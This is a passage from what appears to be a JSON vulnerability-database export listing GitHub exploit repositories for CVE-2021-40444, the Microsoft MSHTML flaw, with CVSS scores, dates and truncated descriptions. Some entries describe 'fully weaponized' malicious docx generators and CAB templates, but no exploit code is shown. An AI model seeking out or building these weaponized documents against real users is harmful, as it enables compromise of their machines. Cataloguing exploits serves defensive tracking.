"obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-10-14T23:45:35", "id": "0990FE6E-7DC3-559E-9B84-E739872B988C", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-05-31T08:47:22", "description": "# Fully Weaponized CVE-2021-40444\n\nMalicious docx generator to e...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-15T22:34:35", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-05-31T01:08:02", "id": "29AB2E6A-3E44-55A2-801D-2971FABB2E5D", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-08-18T09:23:03", "description": "# CVE-2021-40444-CAB\nCVE-2021-40444 - Custom CAB templates from ...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-16T10:14:08", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-10-09T17:56:16", "id": "24DE1902-4427-5442-BF63-7657293966E2", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-13T19:04:29", "description": "# CVE-2021-40444 PoC\n\nMalicious docx generator to exploit CVE-20...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-14T20:32:28", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-18T19:46:25", "id": "7DE60C34-40B8-50E4-B1A0-FC1D10F97677", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-05-23T17:34:32", "description": "# Fully Weaponized CVE-2021-40444\n\nMalicious docx generator to e...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-12-28T06:33:25", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-12-28T09:38:18", "id": "CCA69DF0-1EB2-5F30-BEC9-04ED43F42EA5", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:34:08", "description": "MSHTMHell: Malicious document bui...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-11T15:33:41", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-14T13:49:09", "id": "588DA6EE-E603-5CF2-A9A3-47E98F68926C", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-01-26T03:16:25", "description": "# CVE-2021-40444-POC\nAn attempt to reproduce Microsoft MSHTML Re...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-28T14:55:46", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-01-26T02:46:54", "id": "8B907536-B213-590D-81B9-32CF4A55322E", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-05-23T17:38:48", "description": "# TIC4301_Project\nTIC4301 Project - CVE-2021-40444\n\nDownload the...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-16T07:07:26", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-12-06T13:36:02", "id": "111C9F44-593D-5E56-8040-615B48ED3E24", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-13T19:05:00", "description": "# CVE-2021-40444-Sample\nPatch CAB: https:/...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-10T09:43:41", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-07-12T14:51:36", "id": "28B1FAAB-984F-5469-BC0D-3861F3BCF3B5", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-05-23T17:38:15", "description": "# CVE-2021-40444 PoC\n\nMalicious docx generator to exploit CVE-20...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-25T05:13:05", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-11-25T05:13:19", "id": "7643EC22-CCD0-56A6-9113-B5EF435E22FC", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2021-12-24T12:46:04", "description": "# CVE-2021-40444 docx Generate\n.docx generate...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-11T02:49:37", "type": "githubexploit", "title": "Exploit for Vulnerability in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-12-24T11:57:05", "id": "88EFCA30-5DED-59FB-A476-A92F53D1497E", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-05-23T17:38:40", "description": "# CVE-2021-40444\n\n## Usage\n\nEnsure to run `setup.sh` first as yo...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-03T01:13:42", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-10-19T04:22:19", "id": "9366C7C7-BF57-5CFF-A1B5-8D8CF169E72A", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-05-23T17:38:56", "description": "# CVE-2021-40444_CAB_archives\nCVE-2021-40444 - Custom CAB templa...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-24T10:59:34", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-12-15T00:43:34", "id": "B7D137AD-216F-5D27-9D7B-6F3B5EEB266D", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-13T19:05:39", "description": "\"Fork\" of [lockedbytes](https://github.com/lockedbyte) CVE-2021-...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-14T13:45:36", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-12-15T14:42:59", "id": "F5CEF191-B04C-5FC5-82D1-3B728EC648A9", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-13T19:03:37", "description": "# CVE-2021-40444-URL-Extractor\n\nPython script to extract embedde...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-16T16:54:50", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-20T19:01:48", "id": "0E965070-1EAE-59AA-86E6-41ADEFDAED7D", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-13T19:05:20", "description": "# CVE-2021-40444\nCVE-2021-40444 POC\n\n-----BEGIN PUBLIC KEY-----\n...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-09T02:30:26", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-17T10:41:29", "id": "37D2BE4F-9D7A-51CD-B802-2FAB35B39A4E", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-13T19:05:00", "description": "# CVE-2021-40444 Analysis\n\nThis repository contains the deobfusc...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-09T15:43:08", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-14T08:18:40", "id": "7333A285-768C-5AD9-B64E-0EC75F075597", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2022-07-13T19:10:41", "description": "# Docx-Exploit-2021\n\nThis docx exploit uses r...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-29T10:35:55", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-04-11T07:58:23", "id": "B9C2639D-9C07-5F11-B663-C144F457A9F7", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-05-23T17:38:09", "description": "# CVE-2021-40444 PoC\n\nMalicious docx generator to exploit CVE-20...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-22T13:29:20", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-11-22T13:41:39", "id": "DD5D2BF7-BE9D-59EA-8DF2-D85AEC13A4A0", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-05-23T17:38:56", "description": "# Fully Weaponized CVE-2021-40444\n\nMalicious docx generator to e...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-24T23:17:12", "type": "githubexploit", "title": "Exploit for Path Traversal in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-10-24T23:17:28", "id": "CC6DFDC6-184F-5748-A9EC-946E8BA5FB04", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-05-23T17:35:09", "description": "# Microsoft-Office-Word-MSHTML-Remote-Code-Exe...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": 